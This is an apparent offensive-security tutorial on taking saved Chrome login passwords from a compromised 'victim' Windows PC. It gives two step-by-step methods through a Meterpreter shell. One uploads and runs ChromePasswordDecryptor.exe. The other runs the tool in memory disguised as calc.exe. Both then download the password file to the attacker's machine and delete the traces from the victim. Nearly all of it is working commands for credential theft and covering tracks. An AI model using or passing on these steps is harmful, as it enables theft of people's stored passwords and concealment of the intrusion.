Extract and decrypt chrome from remote pc

Chrome stores all the sign-on secrets into the internal database file called 'Web data' in the current user profile folder. Newer version has moved the login passwords related database into new file named 'Login Data'.  DPAPI encrypts data based on either the DPAPI_SYSTEM values stored in LSA secrets or the user’s password, you can’t copy the database file to another machine and decrypt without using special tools as we did in case of mozilla.


First download tool ChromePasswordDecryptor

Installed it in windows.We are only interested in windows binary which is located on C:\Program Files\SecurityXploded . So from that directory copy binary ChromePasswordDecryptor.exe to our main OS(Backtrack).

We are going to use two method to extract saved passwords from browser.

(A)In this method we are going to upload our binary to victim pc using meterpreter shell & then we execute it.

(1)Get meterpreter shell.

(2)Upload ChromePasswordDecryptor.exe (Which we copy into Backtract from windows) to victim.

(3)Execute it from shell using following command.
    ChromePasswordDecryptor.exe "pwd.txt"




(4)Download pwd.txt
    download pwd.txt /root

(5)Remove pwd.txt from victim & also remove uploaded binary

    rm ChromePasswordDecryptor.exe
    rm pwd.txt




(B)In this method we are going to execute it in memory ; so we do not have to upload it to victim ; but we need system priv for this method.

(1)Get meterpreter shell

(2)Get system priv.

(3)Change directory to C://windows\system32

(4)Execute it in memory using following command
execute -H -m -d calc.exe -f ChromePasswordDecryptor.exe -a "pwds.txt"

(5)download pwds.txt
    download pwds.txt /root

(6)Remove pwds.txt from victim
    rm pwds.txt